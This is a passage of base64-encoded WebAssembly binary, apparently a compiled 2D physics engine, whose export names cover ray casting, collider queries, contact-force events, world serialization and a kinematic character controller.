cXVldWVfZnJlZQBcH19fd2JnX3Jhd2NvbnRhY3Rmb3JjZWV2ZW50X2ZyZWUAjgoecmF3Y29udGFjdGZvcmNlZXZlbnRfY29sbGlkZXIxANgHHnJhd2NvbnRhY3Rmb3JjZWV2ZW50X2NvbGxpZGVyMgDJByByYXdjb250YWN0Zm9yY2VldmVudF90b3RhbF9mb3JjZQDECCpyYXdjb250YWN0Zm9yY2VldmVudF90b3RhbF9mb3JjZV9tYWduaXR1ZGUAiQoocmF3Y29udGFjdGZvcmNlZXZlbnRfbWF4X2ZvcmNlX21hZ25pdHVkZQCKChFyYXdldmVudHF1ZXVlX25ldwDVBiJyYXdldmVudHF1ZXVlX2RyYWluQ29sbGlzaW9uRXZlbnRzALMIJXJhd2V2ZW50cXVldWVfZHJhaW5Db250YWN0Rm9yY2VFdmVudHMAtAgTcmF3ZXZlbnRxdWV1ZV9jbGVhcgDPBh1fX3diZ19yYXdwaHlzaWNzcGlwZWxpbmVfZnJlZQCNARZyYXdwaHlzaWNzcGlwZWxpbmVfbmV3APAHF3Jhd3BoeXNpY3NwaXBlbGluZV9zdGVwANECIXJhd3BoeXNpY3NwaXBlbGluZV9zdGVwV2l0aEV2ZW50cwC/AhtfX3diZ19yYXdxdWVyeXBpcGVsaW5lX2ZyZWUA6gcUcmF3cXVlcnlwaXBlbGluZV9uZXcAxQgXcmF3cXVlcnlwaXBlbGluZV91cGRhdGUAswYYcmF3cXVlcnlwaXBlbGluZV9jYXN0UmF5AMECJHJhd3F1ZXJ5cGlwZWxpbmVfY2FzdFJheUFuZEdldE5vcm1hbACoAiVyYXdxdWVyeXBpcGVsaW5lX2ludGVyc2VjdGlvbnNXaXRoUmF5AIoDJnJhd3F1ZXJ5cGlwZWxpbmVfaW50ZXJzZWN0aW9uV2l0aFNoYXBlANcCHXJhd3F1ZXJ5cGlwZWxpbmVfcHJvamVjdFBvaW50ANUCKnJhd3F1ZXJ5cGlwZWxpbmVfcHJvamVjdFBvaW50QW5kR2V0RmVhdHVyZQDdASdyYXdxdWVyeXBpcGVsaW5lX2ludGVyc2VjdGlvbnNXaXRoUG9pbnQA/wEacmF3cXVlcnlwaXBlbGluZV9jYXN0U2hhcGUAwwEncmF3cXVlcnlwaXBlbGluZV9pbnRlcnNlY3Rpb25zV2l0aFNoYXBlAO4CMnJhd3F1ZXJ5cGlwZWxpbmVfY29sbGlkZXJzV2l0aEFhYmJJbnRlcnNlY3RpbmdBYWJiAJ8FH19fd2JnX3Jhd2Rlc2VyaWFsaXplZHdvcmxkX2ZyZWUAiQQgcmF3ZGVzZXJpYWxpemVkd29ybGRfdGFrZUdyYXZpdHkAswcucmF3ZGVzZXJpYWxpemVkd29ybGRfdGFrZUludGVncmF0aW9uUGFyYW1ldGVycwDSAiZyYXdkZXNlcmlhbGl6ZWR3b3JsZF90YWtlSXNsYW5kTWFuYWdlcgDaAiNyYXdkZXNlcmlhbGl6ZWR3b3JsZF90YWtlQnJvYWRQaGFzZQDXBSRyYXdkZXNlcmlhbGl6ZWR3b3JsZF90YWtlTmFycm93UGhhc2UA6gIfcmF3ZGVzZXJpYWxpemVkd29ybGRfdGFrZUJvZGllcwDHAyJyYXdkZXNlcmlhbGl6ZWR3b3JsZF90YWtlQ29sbGlkZXJzAKIDJnJhd2Rlc2VyaWFsaXplZHdvcmxkX3Rha2VJbXB1bHNlSm9pbnRzAL0CKHJhd2Rlc2VyaWFsaXplZHdvcmxkX3Rha2VNdWx0aWJvZHlKb2ludHMAvgIlcmF3c2VyaWFsaXphdGlvbnBpcGVsaW5lX3NlcmlhbGl6ZUFsbACGAidyYXdzZXJpYWxpemF0aW9ucGlwZWxpbmVfZGVzZXJpYWxpemVBbGwAvgUZX193YmdfcmF3Y29udGFjdHBhaXJfZnJlZQCOCiVfX3diZ19yYXdyYXljb2xsaWRlcmludGVyc2VjdGlvbl9mcmVlAI4KHF9fd2JnX3Jhd3JheWNvbGxpZGVydG9pX2ZyZWUAjgoUX193YmdfcmF3dmVjdG9yX2ZyZWUAjgoWX193YmdfcmF3c2hhcGV0b2lfZnJlZQCOCjVyYXdraW5lbWF0aWNjaGFyYWN0ZXJjb250cm9sbGVyX3NldE1heFNsb3BlQ2xpbWJBbmdsZQDdCQ9yYXd2ZWN0b3Jfc2V0X3gA8gkccmF3Y29sbGlkZXJzZXRfaXNIYW5kbGVWYWxpZACXBx5yYXdyYXlpbnRlcnNlY3Rpb25fZmVhdHVyZVR5cGUApgkccmF3cmF5aW50ZXJzZWN0aW9uX2ZlYXR1cmVJZACcCRZyYXdzaGFwZWNvbnRhY3RfcG9pbnQxANIIF3Jhd3NoYXBlY29udGFjdF9ub3JtYWwyALwIGHJhd3BvaW50cHJvamVjdGlvbl9wb2ludADSCBdyYXdzaGFwZWNvbnRhY3Rfbm9ybWFsMQDECBlyYXdyYXlpbnRlcnNlY3Rpb25fbm9ybWFsANIIFnJhd3NoYXBlY29udGFjdF9wb2ludDIAwwgUcmF3c2hhcGV0b2lfd2l0bmVzczEA0ggUcmF3c2hhcGV0b2lfd2l0bmVzczIAwwgTcmF3c2hhcGV0b2lfbm9ybWFsMQDECBNyYXdzaGFwZXRvaV9ub3JtYWwyALwIHHJhd3NoYXBlY29sbGlkZXJ0b2lfd2l0bmVzczEAwwgccmF3c2hhcGVjb2xsaWRlcnRvaV93aXRuZXNzMgDECBtyYXdzaGFwZWNvbGxpZGVydG9pX25vcm1hbDEAvAgbcmF3c2hhcGVjb2xsaWRlcnRvaV9ub3JtYWwyAL0IIHJhd3BvaW50Y29sbGlkZXJwcm9qZWN0aW9uX3BvaW50AMQIKHJhd2NvbnRhY3Rmb3JjZWV2ZW50X21heF9mb3JjZV9kaXJlY3Rpb24AvAgccmF3c2VyaWFsaXphdGlvbnBpcGVsaW5lX25ldwCcCjJyYXdraW5lbWF0aWNjaGFyYWN0ZXJjb250cm9sbGVyX21heFNsb3BlQ2xpbWJBbmdsZQD+CRhyYXdzaGFwZWNvbnRhY3RfZGlzdGFuY2UAiQoecmF3cmF5Y29sbGlkZXJpbnRlcnNlY3Rpb25fdG9pAP4JFXJhd3JheWNvbGxpZGVydG9pX3RvaQD9CQ9yYXdzaGFwZXRvaV90b2kAiQoOcmF3cm90YXRpb25fcmUAlwoLcmF3dmVjdG9yX3gAlwoLcmF3dmVjdG9yX3kAiAorcmF3aW50ZWdyYXRpb25wYXJhbWV0ZXJzX3ByZWRpY3Rpb25EaXN0YW5jZQCJCilyYXdyYXljb2xsaWRlcmludGVyc2VjdGlvbl9jb2xsaWRlckhhbmRsZQDYByByYXdyYXljb2xsaWRlcnRvaV9jb2xsaWRlckhhbmRsZQDYByJyYXdzaGFwZWNvbGxpZGVydG9pX2NvbGxpZGVySGFuZGxlANgHKXJhd3BvaW50Y29sbGlkZXJwcm9qZWN0aW9uX2NvbGxpZGVySGFuZGxlANgHI19fd2Jn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